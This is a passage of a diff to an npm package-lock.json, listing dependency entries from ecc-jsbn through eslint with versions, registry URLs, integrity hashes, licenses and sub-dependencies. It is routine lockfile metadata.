11751+ "integrity": "sha512-jtD6YG370ZCIi/9GTaJKQxWTZD045+4R4hTk/x1UyoqadyJ9x9CgSi1RlVDQF8U2sxLLSnFkCaMihqljHIWgMg==",
11752+ "license": "MIT"
11753+ },
11754+ "node_modules/ecc-jsbn": {
11755+ "version": "0.1.2",
11756+ "resolved": "https://registry.npmjs.org/ecc-jsbn/-/ecc-jsbn-0.1.2.tgz",
11757+ "integrity": "sha512-eh9O+hwRHNbG4BLTjEl3nw044CkGm5X6LoaCf7LPp7UU8Qrt47JYNi6nPX8xjW97TKGKm1ouctg0QSpZe9qrnw==",
11758+ "license": "MIT",
11759+ "dependencies": {
11760+ "jsbn": "~0.1.0",
11761+ "safer-buffer": "^2.1.0"
11762+ }
11763+ },
11764+ "node_modules/ecdsa-sig-formatter": {
11765+ "version": "1.0.11",
11766+ "resolved": "https://registry.npmjs.org/ecdsa-sig-formatter/-/ecdsa-sig-formatter-1.0.11.tgz",
11767+ "integrity": "sha512-nagl3RYrbNv6kQkeJIpt6NJZy8twLB/2vtz6yN9Z4vRKHN4/QZJIEbqohALSgwKdnksuY3k5Addp5lg8sVoVcQ==",
11768+ "license": "Apache-2.0",
11769+ "dependencies": {
11770+ "safe-buffer": "^5.0.1"
11771+ }
11772+ },
11773+ "node_modules/ee-first": {
11774+ "version": "1.1.1",
11775+ "resolved": "https://registry.npmjs.org/ee-first/-/ee-first-1.1.1.tgz",
11776+ "integrity": "sha512-WMwm9LhRUo+WUaRN+vRuETqG89IgZphVSNkdFgeb6sS/E4OrDIN7t48CAewSHXc6C8lefD8KKfr5vY61brQlow==",
11777+ "license": "MIT"
11778+ },
11779+ "node_modules/ejs": {
11780+ "version": "3.1.10",
11781+ "resolved": "https://registry.npmjs.org/ejs/-/ejs-3.1.10.tgz",
11782+ "integrity": "sha512-UeJmFfOrAQS8OJWPZ4qtgHyWExa088/MtK5UEyoJGFH67cDEXkZSviOiKRCZ4Xij0zxI3JECgYs3oKx+AizQBA==",
11783+ "license": "Apache-2.0",
11784+ "dependencies": {
11785+ "jake": "^10.8.5"
11786+ },
11787+ "bin": {
11788+ "ejs": "bin/cli.js"
11789+ },
11790+ "engines": {
11791+ "node": ">=0.10.0"
11792+ }
11793+ },
11794+ "node_modules/electron-to-chromium": {
11795+ "version": "1.5.267",
11796+ "resolved": "https://registry.npmjs.org/electron-to-chromium/-/electron-to-chromium-1.5.267.tgz",
11797+ "integrity": "sha512-0Drusm6MVRXSOJpGbaSVgcQsuB4hEkMpHXaVstcPmhu5LIedxs1xNK/nIxmQIU/RPC0+1/o0AVZfBTkTNJOdUw==",
11798+ "license": "ISC"
11799+ },
11800+ "node_modules/elliptic": {
11801+ "version": "6.6.1",
11802+ "resolved": "https://registry.npmjs.org/elliptic/-/elliptic-6.6.1.tgz",
11803+ "integrity": "sha512-RaddvvMatK2LJHqFJ+YA4WysVN5Ita9E35botqIYspQ4TkRAlCicdzKOjlyv/1Za5RyTNn7di//eEV0uTAfe3g==",
11804+ "license": "MIT",
11805+ "dependencies": {
11806+ "bn.js": "^4.11.9",
11807+ "brorand": "^1.1.0",
11808+ "hash.js": "^1.0.0",
11809+ "hmac-drbg": "^1.0.1",
11810+ "inherits": "^2.0.4",
11811+ "minimalistic-assert": "^1.0.1",
11812+ "minimalistic-crypto-utils": "^1.0.1"
11813+ }
11814+ },
11815+ "node_modules/elliptic/node_modules/bn.js": {
11816+ "version": "4.12.2",
11817+ "resolved": "https://registry.npmjs.org/bn.js/-/bn.js-4.12.2.tgz",
11818+ "integrity": "sha512-n4DSx829VRTRByMRGdjQ9iqsN0Bh4OolPsFnaZBLcbi8iXcB+kJ9s7EnRt4wILZNV3kPLHkRVfOc/HvhC3ovDw==",
11819+ "license": "MIT"
11820+ },
11821+ "node_modules/emittery": {
11822+ "version": "0.8.1",
11823+ "resolved": "https://registry.npmjs.org/emittery/-/emittery-0.8.1.tgz",
11824+ "integrity": "sha512-uDfvUjVrfGJJhymx/kz6prltenw1u7WrCg1oa94zYY8xxVpLLUu045LAT0dhDZdXG58/EpPL/5kA180fQ/qudg==",
11825+ "license": "MIT",
11826+ "engines": {
11827+ "node": ">=10"
11828+ },
11829+ "funding": {
11830+ "url": "https://github.com/sindresorhus/emittery?sponsor=1"
11831+ }
11832+ },
11833+ "node_modules/emoji-regex": {
11834+ "version": "9.2.2",
11835+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
11836+ "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
11837+ "license": "MIT"
11838+ },
11839+ "node_modules/emojis-list": {
11840+ "version": "3.0.0",
11841+ "resolved": "https://registry.npmjs.org/emojis-list/-/emojis-list-3.0.0.tgz",
11842+ "integrity": "sha512-/kyM18EfinwXZbno9FyUGeFh87KC8HRQBQGildHZbEuRyWFOmv1U10o9BBp8XVZDVNNuQKyIGIu5ZYAAXJ0V2Q==",
11843+ "license": "MIT",
11844+ "engines": {
11845+ "node": ">= 4"
11846+ }
11847+ },
11848+ "node_modules/encodeurl": {
11849+ "version": "2.0.0",
11850+ "resolved": "https://registry.npmjs.org/encodeurl/-/encodeurl-2.0.0.tgz",
11851+ "integrity": "sha512-Q0n9HRi4m6JuGIV1eFlmvJB7ZEVxu93IrMyiMsGC0lrMJMWzRgx6WGquyfQgZVb31vhGgXnfmPNNXmxnOkRBrg==",
11852+ "license": "MIT",
11853+ "engines": {
11854+ "node": ">= 0.8"
11855+ }
11856+ },
11857+ "node_modules/engine.io": {
11858+ "version": "6.6.4",
11859+ "resolved": "https://registry.npmjs.org/engine.io/-/engine.io-6.6.4.tgz",
11860+ "integrity": "sha512-ZCkIjSYNDyGn0R6ewHDtXgns/Zre/NT6Agvq1/WobF7JXgFff4SeDroKiCO3fNJreU9YG429Sc81o4w5ok/W5g==",
11861+ "license": "MIT",
11862+ "dependencies": {
11863+ "@types/cors": "^2.8.12",
11864+ "@types/node": ">=10.0.0",
11865+ "accepts": "~1.3.4",
11866+ "base64id": "2.0.0",
11867+ "cookie": "~0.7.2",
11868+ "cors": "~2.8.5",
11869+ "debug": "~4.3.1",
11870+ "engine.io-parser": "~5.2.1",
11871+ "ws": "~8.17.1"
11872+ },
11873+ "engines": {
11874+ "node": ">=10.2.0"
11875+ }
11876+ },
11877+ "node_modules/engine.io-client": {
11878+ "version": "6.6.3",
11879+ "resolved": "https://registry.npmjs.org/engine.io-client/-/engine.io-client-6.6.3.tgz",
11880+ "integrity": "sha512-T0iLjnyNWahNyv/lcjS2y4oE358tVS/SYQNxYXGAJ9/GLgH4VCvOQ/mhTjqU88mLZCQgiG8RIegFHYCdVC+j5w==",
11881+ "license": "MIT",
11882+ "dependencies": {
11883+ "@socket.io/component-emitter": "~3.1.0",
11884+ "debug": "~4.3.1",
11885+ "engine.io-parser": "~5.2.1",
11886+ "ws": "~8.17.1",
11887+ "xmlhttprequest-ssl": "~2.1.1"
11888+ }
11889+ },
11890+ "node_modules/engine.io-client/node_modules/debug": {
11891+ "version": "4.3.7",
11892+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
11893+ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
11894+ "license": "MIT",
11895+ "dependencies": {
11896+ "ms": "^2.1.3"
11897+ },
11898+ "engines": {
11899+ "node": ">=6.0"
11900+ },
11901+ "peerDependenciesMeta": {
11902+ "supports-color": {
11903+ "optional": true
11904+ }
11905+ }
11906+ },
11907+ "node_modules/engine.io-client/node_modules/ms": {
11908+ "version": "2.1.3",
11909+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
11910+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
11911+ "license": "MIT"
11912+ },
11913+ "node_modules/engine.io-client/node_modules/ws": {
11914+ "version": "8.17.1",
11915+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz",
11916+ "integrity": "sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==",
11917+ "license": "MIT",
11918+ "engines": {
11919+ "node": ">=10.0.0"
11920+ },
11921+ "peerDependencies": {
11922+ "bufferutil": "^4.0.1",
11923+ "utf-8-validate": ">=5.0.2"
11924+ },
11925+ "peerDependenciesMeta": {
11926+ "bufferutil": {
11927+ "optional": true
11928+ },
11929+ "utf-8-validate": {
11930+ "optional": true
11931+ }
11932+ }
11933+ },
11934+ "node_modules/engine.io-parser": {
11935+ "version": "5.2.3",
11936+ "resolved": "https://registry.npmjs.org/engine.io-parser/-/engine.io-parser-5.2.3.tgz",
11937+ "integrity": "sha512-HqD3yTBfnBxIrbnM1DoD6Pcq8NECnh8d4As1Qgh0z5Gg3jRRIqijury0CL3ghu/edArpUYiYqQiDUQBIs4np3Q==",
11938+ "license": "MIT",
11939+ "engines": {
11940+ "node": ">=10.0.0"
11941+ }
11942+ },
11943+ "node_modules/engine.io/node_modules/debug": {
11944+ "version": "4.3.7",
11945+ "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.7.tgz",
11946+ "integrity": "sha512-Er2nc/H7RrMXZBFCEim6TCmMk02Z8vLC2Rbi1KEBggpo0fS6l0S1nnapwmIi3yW/+GOJap1Krg4w0Hg80oCqgQ==",
11947+ "license": "MIT",
11948+ "dependencies": {
11949+ "ms": "^2.1.3"
11950+ },
11951+ "engines": {
11952+ "node": ">=6.0"
11953+ },
11954+ "peerDependenciesMeta": {
11955+ "supports-color": {
11956+ "optional": true
11957+ }
11958+ }
11959+ },
11960+ "node_modules/engine.io/node_modules/ms": {
11961+ "version": "2.1.3",
11962+ "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz",
11963+ "integrity": "sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==",
11964+ "license": "MIT"
11965+ },
11966+ "node_modules/engine.io/node_modules/ws": {
11967+ "version": "8.17.1",
11968+ "resolved": "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz",
11969+ "integrity": "sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==",
11970+ "license": "MIT",
11971+ "engines": {
11972+ "node": ">=10.0.0"
11973+ },
11974+ "peerDependencies": {
11975+ "bufferutil": "^4.0.1",
11976+ "utf-8-validate": ">=5.0.2"
11977+ },
11978+ "peerDependenciesMeta": {
11979+ "bufferutil": {
11980+ "optional": true
11981+ },
11982+ "utf-8-validate": {
11983+ "optional": true
11984+ }
11985+ }
11986+ },
11987+ "node_modules/enhanced-resolve": {
11988+ "version": "5.18.4",
11989+ "resolved": "https://registry.npmjs.org/enhanced-resolve/-/enhanced-resolve-5.18.4.tgz",
11990+ "integrity": "sha512-LgQMM4WXU3QI+SYgEc2liRgznaD5ojbmY3sb8LxyguVkIg5FxdpTkvk72te2R38/TGKxH634oLxXRGY6d7AP+Q==",
11991+ "license": "MIT",
11992+ "dependencies": {
11993+ "graceful-fs": "^4.2.4",
11994+ "tapable": "^2.2.0"
11995+ },
11996+ "engines": {
11997+ "node": ">=10.13.0"
11998+ }
11999+ },
12000+ "node_modules/entities": {
12001+ "version": "2.2.0",
12002+ "resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
12003+ "integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A==",
12004+ "license": "BSD-2-Clause",
12005+ "funding": {
12006+ "url": "https://github.com/fb55/entities?sponsor=1"
12007+ }
12008+ },
12009+ "node_modules/errno": {
12010+ "version": "0.1.8",
12011+ "resolved": "https://registry.npmjs.org/errno/-/errno-0.1.8.tgz",
12012+ "integrity": "sha512-dJ6oBr5SQ1VSd9qkk7ByRgb/1SH4JZjCHSW/mr63/QcXO9zLVxvJ6Oy13nio03rxpSnVDDjFor75SjVeZWPW/A==",
12013+ "license": "MIT",
12014+ "dependencies": {
12015+ "prr": "~1.0.1"
12016+ },
12017+ "bin": {
12018+ "errno": "cli.js"
12019+ }
12020+ },
12021+ "node_modules/error-ex": {
12022+ "version": "1.3.4",
12023+ "resolved": "https://registry.npmjs.org/error-ex/-/error-ex-1.3.4.tgz",
12024+ "integrity": "sha512-sqQamAnR14VgCr1A618A3sGrygcpK+HEbenA/HiEAkkUwcZIIB/tgWqHFxWgOyDh4nB4JCRimh79dR5Ywc9MDQ==",
12025+ "license": "MIT",
12026+ "dependencies": {
12027+ "is-arrayish": "^0.2.1"
12028+ }
12029+ },
12030+ "node_modules/error-stack-parser": {
12031+ "version": "2.1.4",
12032+ "resolved": "https://registry.npmjs.org/error-stack-parser/-/error-stack-parser-2.1.4.tgz",
12033+ "integrity": "sha512-Sk5V6wVazPhq5MhpO+AUxJn5x7XSXGl1R93Vn7i+zS15KDVxQijejNCrz8340/2bgLBjR9GtEG8ZVKONDjcqGQ==",
12034+ "license": "MIT",
12035+ "dependencies": {
12036+ "stackframe": "^1.3.4"
12037+ }
12038+ },
12039+ "node_modules/es-abstract": {
12040+ "version": "1.24.1",
12041+ "resolved": "https://registry.npmjs.org/es-abstract/-/es-abstract-1.24.1.tgz",
12042+ "integrity": "sha512-zHXBLhP+QehSSbsS9Pt23Gg964240DPd6QCf8WpkqEXxQ7fhdZzYsocOr5u7apWonsS5EjZDmTF+/slGMyasvw==",
12043+ "license": "MIT",
12044+ "dependencies": {
12045+ "array-buffer-byte-length": "^1.0.2",
12046+ "arraybuffer.prototype.slice": "^1.0.4",
12047+ "available-typed-arrays": "^1.0.7",
12048+ "call-bind": "^1.0.8",
12049+ "call-bound": "^1.0.4",
12050+ "data-view-buffer": "^1.0.2",
12051+ "data-view-byte-length": "^1.0.2",
12052+ "data-view-byte-offset": "^1.0.1",
12053+ "es-define-property": "^1.0.1",
12054+ "es-errors": "^1.3.0",
12055+ "es-object-atoms": "^1.1.1",
12056+ "es-set-tostringtag": "^2.1.0",
12057+ "es-to-primitive": "^1.3.0",
12058+ "function.prototype.name": "^1.1.8",
12059+ "get-intrinsic": "^1.3.0",
12060+ "get-proto": "^1.0.1",
12061+ "get-symbol-description": "^1.1.0",
12062+ "globalthis": "^1.0.4",
12063+ "gopd": "^1.2.0",
12064+ "has-property-descriptors": "^1.0.2",
12065+ "has-proto": "^1.2.0",
12066+ "has-symbols": "^1.1.0",
12067+ "hasown": "^2.0.2",
12068+ "internal-slot": "^1.1.0",
12069+ "is-array-buffer": "^3.0.5",
12070+ "is-callable": "^1.2.7",
12071+ "is-data-view": "^1.0.2",
12072+ "is-negative-zero": "^2.0.3",
12073+ "is-regex": "^1.2.1",
12074+ "is-set": "^2.0.3",
12075+ "is-shared-array-buffer": "^1.0.4",
12076+ "is-string": "^1.1.1",
12077+ "is-typed-array": "^1.1.15",
12078+ "is-weakref": "^1.1.1",
12079+ "math-intrinsics": "^1.1.0",
12080+ "object-inspect": "^1.13.4",
12081+ "object-keys": "^1.1.1",
12082+ "object.assign": "^4.1.7",
12083+ "own-keys": "^1.0.1",
12084+ "regexp.prototype.flags": "^1.5.4",
12085+ "safe-array-concat": "^1.1.3",
12086+ "safe-push-apply": "^1.0.0",
12087+ "safe-regex-test": "^1.1.0",
12088+ "set-proto": "^1.0.0",
12089+ "stop-iteration-iterator": "^1.1.0",
12090+ "string.prototype.trim": "^1.2.10",
12091+ "string.prototype.trimend": "^1.0.9",
12092+ "string.prototype.trimstart": "^1.0.8",
12093+ "typed-array-buffer": "^1.0.3",
12094+ "typed-array-byte-length": "^1.0.3",
12095+ "typed-array-byte-offset": "^1.0.4",
12096+ "typed-array-length": "^1.0.7",
12097+ "unbox-primitive": "^1.1.0",
12098+ "which-typed-array": "^1.1.19"
12099+ },
12100+ "engines": {
12101+ "node": ">= 0.4"
12102+ },
12103+ "funding": {
12104+ "url": "https://github.com/sponsors/ljharb"
12105+ }
12106+ },
12107+ "node_modules/es-array-method-boxes-properly": {
12108+ "version": "1.0.0",
12109+ "resolved": "https://registry.npmjs.org/es-array-method-boxes-properly/-/es-array-method-boxes-properly-1.0.0.tgz",
12110+ "integrity": "sha512-wd6JXUmyHmt8T5a2xreUwKcGPq6f1f+WwIJkijUqiGcJz1qqnZgP6XIK+QyIWU5lT7imeNxUll48bziG+TSYcA==",
12111+ "license": "MIT"
12112+ },
12113+ "node_modules/es-define-property": {
12114+ "version": "1.0.1",
12115+ "resolved": "https://registry.npmjs.org/es-define-property/-/es-define-property-1.0.1.tgz",
12116+ "integrity": "sha512-e3nRfgfUZ4rNGL232gUgX06QNyyez04KdjFrF+LTRoOXmrOgFKDg4BCdsjW8EnT69eqdYGmRpJwiPVYNrCaW3g==",
12117+ "license": "MIT",
12118+ "engines": {
12119+ "node": ">= 0.4"
12120+ }
12121+ },
12122+ "node_modules/es-errors": {
12123+ "version": "1.3.0",
12124+ "resolved": "https://registry.npmjs.org/es-errors/-/es-errors-1.3.0.tgz",
12125+ "integrity": "sha512-Zf5H2Kxt2xjTvbJvP2ZWLEICxA6j+hAmMzIlypy4xcBg1vKVnx89Wy0GbS+kf5cwCVFFzdCFh2XSCFNULS6csw==",
12126+ "license": "MIT",
12127+ "engines": {
12128+ "node": ">= 0.4"
12129+ }
12130+ },
12131+ "node_modules/es-get-iterator": {
12132+ "version": "1.1.3",
12133+ "resolved": "https://registry.npmjs.org/es-get-iterator/-/es-get-iterator-1.1.3.tgz",
12134+ "integrity": "sha512-sPZmqHBe6JIiTfN5q2pEi//TwxmAFHwj/XEuYjTuse78i8KxaqMTTzxPoFKuzRpDpTJ+0NAbpfenkmH2rePtuw==",
12135+ "license": "MIT",
12136+ "dependencies": {
12137+ "call-bind": "^1.0.2",
12138+ "get-intrinsic": "^1.1.3",
12139+ "has-symbols": "^1.0.3",
12140+ "is-arguments": "^1.1.1",
12141+ "is-map": "^2.0.2",
12142+ "is-set": "^2.0.2",
12143+ "is-string": "^1.0.7",
12144+ "isarray": "^2.0.5",
12145+ "stop-iteration-iterator": "^1.0.0"
12146+ },
12147+ "funding": {
12148+ "url": "https://github.com/sponsors/ljharb"
12149+ }
12150+ },
12151+ "node_modules/es-iterator-helpers": {
12152+ "version": "1.2.2",
12153+ "resolved": "https://registry.npmjs.org/es-iterator-helpers/-/es-iterator-helpers-1.2.2.tgz",
12154+ "integrity": "sha512-BrUQ0cPTB/IwXj23HtwHjS9n7O4h9FX94b4xc5zlTHxeLgTAdzYUDyy6KdExAl9lbN5rtfe44xpjpmj9grxs5w==",
12155+ "license": "MIT",
12156+ "dependencies": {
12157+ "call-bind": "^1.0.8",
12158+ "call-bound": "^1.0.4",
12159+ "define-properties": "^1.2.1",
12160+ "es-abstract": "^1.24.1",
12161+ "es-errors": "^1.3.0",
12162+ "es-set-tostringtag": "^2.1.0",
12163+ "function-bind": "^1.1.2",
12164+ "get-intrinsic": "^1.3.0",
12165+ "globalthis": "^1.0.4",
12166+ "gopd": "^1.2.0",
12167+ "has-property-descriptors": "^1.0.2",
12168+ "has-proto": "^1.2.0",
12169+ "has-symbols": "^1.1.0",
12170+ "internal-slot": "^1.1.0",
12171+ "iterator.prototype": "^1.1.5",
12172+ "safe-array-concat": "^1.1.3"
12173+ },
12174+ "engines": {
12175+ "node": ">= 0.4"
12176+ }
12177+ },
12178+ "node_modules/es-module-lexer": {
12179+ "version": "1.7.0",
12180+ "resolved": "https://registry.npmjs.org/es-module-lexer/-/es-module-lexer-1.7.0.tgz",
12181+ "integrity": "sha512-jEQoCwk8hyb2AZziIOLhDqpm5+2ww5uIE6lkO/6jcOCusfk6LhMHpXXfBLXTZ7Ydyt0j4VoUQv6uGNYbdW+kBA==",
12182+ "license": "MIT"
12183+ },
12184+ "node_modules/es-object-atoms": {
12185+ "version": "1.1.1",
12186+ "resolved": "https://registry.npmjs.org/es-object-atoms/-/es-object-atoms-1.1.1.tgz",
12187+ "integrity": "sha512-FGgH2h8zKNim9ljj7dankFPcICIK9Cp5bm+c2gQSYePhpaG5+esrLODihIorn+Pe6FGJzWhXQotPv73jTaldXA==",
12188+ "license": "MIT",
12189+ "dependencies": {
12190+ "es-errors": "^1.3.0"
12191+ },
12192+ "engines": {
12193+ "node": ">= 0.4"
12194+ }
12195+ },
12196+ "node_modules/es-set-tostringtag": {
12197+ "version": "2.1.0",
12198+ "resolved": "https://registry.npmjs.org/es-set-tostringtag/-/es-set-tostringtag-2.1.0.tgz",
12199+ "integrity": "sha512-j6vWzfrGVfyXxge+O0x5sh6cvxAog0a/4Rdd2K36zCMV5eJ+/+tOAngRO8cODMNWbVRdVlmGZQL2YS3yR8bIUA==",
12200+ "license": "MIT",
12201+ "dependencies": {
12202+ "es-errors": "^1.3.0",
12203+ "get-intrinsic": "^1.2.6",
12204+ "has-tostringtag": "^1.0.2",
12205+ "hasown": "^2.0.2"
12206+ },
12207+ "engines": {
12208+ "node": ">= 0.4"
12209+ }
12210+ },
12211+ "node_modules/es-shim-unscopables": {
12212+ "version": "1.1.0",
12213+ "resolved": "https://registry.npmjs.org/es-shim-unscopables/-/es-shim-unscopables-1.1.0.tgz",
12214+ "integrity": "sha512-d9T8ucsEhh8Bi1woXCf+TIKDIROLG5WCkxg8geBCbvk22kzwC5G2OnXVMO6FUsvQlgUUXQ2itephWDLqDzbeCw==",
12215+ "license": "MIT",
12216+ "dependencies": {
12217+ "hasown": "^2.0.2"
12218+ },
12219+ "engines": {
12220+ "node": ">= 0.4"
12221+ }
12222+ },
12223+ "node_modules/es-to-primitive": {
12224+ "version": "1.3.0",
12225+ "resolved": "https://registry.npmjs.org/es-to-primitive/-/es-to-primitive-1.3.0.tgz",
12226+ "integrity": "sha512-w+5mJ3GuFL+NjVtJlvydShqE1eN3h3PbI7/5LAsYJP/2qtuMXjfL2LpHSRqo4b4eSF5K/DH1JXKUAHSB2UW50g==",
12227+ "license": "MIT",
12228+ "dependencies": {
12229+ "is-callable": "^1.2.7",
12230+ "is-date-object": "^1.0.5",
12231+ "is-symbol": "^1.0.4"
12232+ },
12233+ "engines": {
12234+ "node": ">= 0.4"
12235+ },
12236+ "funding": {
12237+ "url": "https://github.com/sponsors/ljharb"
12238+ }
12239+ },
12240+ "node_modules/esbuild": {
12241+ "version": "0.25.12",
12242+ "resolved": "https://registry.npmjs.org/esbuild/-/esbuild-0.25.12.tgz",
12243+ "integrity": "sha512-bbPBYYrtZbkt6Os6FiTLCTFxvq4tt3JKall1vRwshA3fdVztsLAatFaZobhkBC8/BrPetoa0oksYoKXoG4ryJg==",
12244+ "hasInstallScript": true,
12245+ "license": "MIT",
12246+ "peer": true,
12247+ "bin": {
12248+ "esbuild": "bin/esbuild"
12249+ },
12250+ "engines": {
12251+ "node": ">=18"
12252+ },
12253+ "optionalDependencies": {
12254+ "@esbuild/aix-ppc64": "0.25.12",
12255+ "@esbuild/android-arm": "0.25.12",
12256+ "@esbuild/android-arm64": "0.25.12",
12257+ "@esbuild/android-x64": "0.25.12",
12258+ "@esbuild/darwin-arm64": "0.25.12",
12259+ "@esbuild/darwin-x64": "0.25.12",
12260+ "@esbuild/freebsd-arm64": "0.25.12",
12261+ "@esbuild/freebsd-x64": "0.25.12",
12262+ "@esbuild/linux-arm": "0.25.12",
12263+ "@esbuild/linux-arm64": "0.25.12",
12264+ "@esbuild/linux-ia32": "0.25.12",
12265+ "@esbuild/linux-loong64": "0.25.12",
12266+ "@esbuild/linux-mips64el": "0.25.12",
12267+ "@esbuild/linux-ppc64": "0.25.12",
12268+ "@esbuild/linux-riscv64": "0.25.12",
12269+ "@esbuild/linux-s390x": "0.25.12",
12270+ "@esbuild/linux-x64": "0.25.12",
12271+ "@esbuild/netbsd-arm64": "0.25.12",
12272+ "@esbuild/netbsd-x64": "0.25.12",
12273+ "@esbuild/openbsd-arm64": "0.25.12",
12274+ "@esbuild/openbsd-x64": "0.25.12",
12275+ "@esbuild/openharmony-arm64": "0.25.12",
12276+ "@esbuild/sunos-x64": "0.25.12",
12277+ "@esbuild/win32-arm64": "0.25.12",
12278+ "@esbuild/win32-ia32": "0.25.12",
12279+ "@esbuild/win32-x64": "0.25.12"
12280+ }
12281+ },
12282+ "node_modules/escalade": {
12283+ "version": "3.2.0",
12284+ "resolved": "https://registry.npmjs.org/escalade/-/escalade-3.2.0.tgz",
12285+ "integrity": "sha512-WUj2qlxaQtO4g6Pq5c29GTcWGDyd8itL8zTlipgECz3JesAiiOKotd8JU6otB3PACgG6xkJUyVhboMS+bje/jA==",
12286+ "license": "MIT",
12287+ "engines": {
12288+ "node": ">=6"
12289+ }
12290+ },
12291+ "node_modules/escape-html": {
12292+ "version": "1.0.3",
12293+ "resolved": "https://registry.npmjs.org/escape-html/-/escape-html-1.0.3.tgz",
12294+ "integrity": "sha512-NiSupZ4OeuGwr68lGIeym/ksIZMJodUGOSCZ/FSnTxcrekbvqrgdUxlJOMpijaKZVjAJrWrGs/6Jy8OMuyj9ow==",
12295+ "license": "MIT"
12296+ },
12297+ "node_modules/escape-string-regexp": {
12298+ "version": "4.0.0",
12299+ "resolved": "https://registry.npmjs.org/escape-string-regexp/-/escape-string-regexp-4.0.0.tgz",
12300+ "integrity": "sha512-TtpcNJ3XAzx3Gq8sWRzJaVajRs0uVxA2YAkdb1jm2YkPz4G6egUFAyA3n5vtEIZefPk5Wa4UXbKuS5fKkJWdgA==",
12301+ "license": "MIT",
12302+ "engines": {
12303+ "node": ">=10"
12304+ },
12305+ "funding": {
12306+ "url": "https://github.com/sponsors/sindresorhus"
12307+ }
12308+ },
12309+ "node_modules/escodegen": {
12310+ "version": "2.1.0",
12311+ "resolved": "https://registry.npmjs.org/escodegen/-/escodegen-2.1.0.tgz",
12312+ "integrity": "sha512-2NlIDTwUWJN0mRPQOdtQBzbUHvdGY2P1VXSyU83Q3xKxM7WHX2Ql8dKq782Q9TgQUNOLEzEYu9bzLNj1q88I5w==",
12313+ "license": "BSD-2-Clause",
12314+ "dependencies": {
12315+ "esprima": "^4.0.1",
12316+ "estraverse": "^5.2.0",
12317+ "esutils": "^2.0.2"
12318+ },
12319+ "bin": {
12320+ "escodegen": "bin/escodegen.js",
12321+ "esgenerate": "bin/esgenerate.js"
12322+ },
12323+ "engines": {
12324+ "node": ">=6.0"
12325+ },
12326+ "optionalDependencies": {
12327+ "source-map": "~0.6.1"
12328+ }
12329+ },
12330+ "node_modules/escodegen/node_modules/source-map": {
12331+ "version": "0.6.1",
12332+ "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.6.1.tgz",
12333+ "integrity": "sha512-UjgapumWlbMhkBgzT7Ykc5YXUT46F0iKu8SGXq0bcwP5dz/h0Plj6enJqjz1Zbq2l5WaqYnrVbwWOWMyF3F47g==",
12334+ "license": "BSD-3-Clause",
12335+ "optional": true,
12336+ "engines": {
12337+ "node": ">=0.10.0"
12338+ }
12339+ },
12340+ "node_modules/eslint": {
12341+ "version": "8.57.1",
12342+ "resolved": "https://registry.npmjs.org/eslint/-/eslint-8.57.1.tgz",
12343+ "integrity": "sha512-ypowyDxpVSYpkXr9WPv2PAZCtNip1Mv5KTW0SCurXv/9iOpcrH9PaqUElksqEB6pChqHGDRCFTyrZlGhnLNGiA==",
12344+ "deprecated": "This version is no longer supported. Please see https://eslint.org/version-support for other options.",
12345+ "license": "MIT",
12346+ "dependencies": {
12347+ "@eslint-community/eslint-utils": "^4.2.0",
12348+ "@eslint-community/regexpp": "^4.6.1",
12349+ "@eslint/eslintrc": "^2.1.4",
12350+ "@eslint/js": "8.57.1",
12351+ "@humanwhocodes/config-array": "^0.13.0",
12352+ "@humanwhocodes/module-importer": "^1.0.1",
12353+ "@nodelib/fs.walk": "^1.2.8",
12354+ "@ungap/structured-clone": "^1.2.0",
12355+ "ajv": "^6.12.4",
12356+ "chalk": "^4.0.0",
12357+ "cross-spawn": "^7.0.2",
12358+ "debug": "^4.3.2",
12359+ "doctrine": "^3.0.0",
12360+ "escape-string-regexp": "^4.0.0",
12361+ "eslint-scope": "^7.2.2",
12362+ "eslint-visitor-keys": "^3.4.3",
12363+ "espree": "^9.6.1",
12364+ "esquery": "^1.4.2",
12365+ "esutils": "^2.0.2",
12366+ "fast-deep-equal": "^3.1.3",
12367+ "file-entry-cache": "^6.0.1",
12368+ "find-up": "^5.0.0",
12369+ "glob-parent": "^6.0.2",
12370+ "globals": "^13.19.0",
12371+ "graphemer": "^1.4.0",
12372+ "ignore": "^5.2.0",
12373+ "imurmurhash": "^0.1.4",
12374+ "is-glob": "^4.0.0",
12375+ "is-path-inside": "^3.0.3",
12376+ "js-yaml": "^4.1.0",
12377+ "json-stable-stringify-without-jsonify": "^1.0.1",
12378+ "levn": "^0.4.1",
12379+ "lodash.merge": "^4.6.2",
12380+ "minimatch": "^3.1.2",
12381+ "natural-compare": "^1.4.0",
12382+ "optionator": "^0.9.3",
12383+ "strip-ansi": "^6.0.1",
12384+ "text-table": "^0.2.0"
12385+ },
12386+ "bin": {
12387+ "eslint": "bin/eslint.js"
12388+ },
12389+ "engines": {
12390+ "node": "^12.22.0 || ^14.17.0 || >=16.0.0"
12391+ },
12392+ "funding": {
12393+ "url": "https://opencollective.com/eslint"
12394+ }
12395+ },
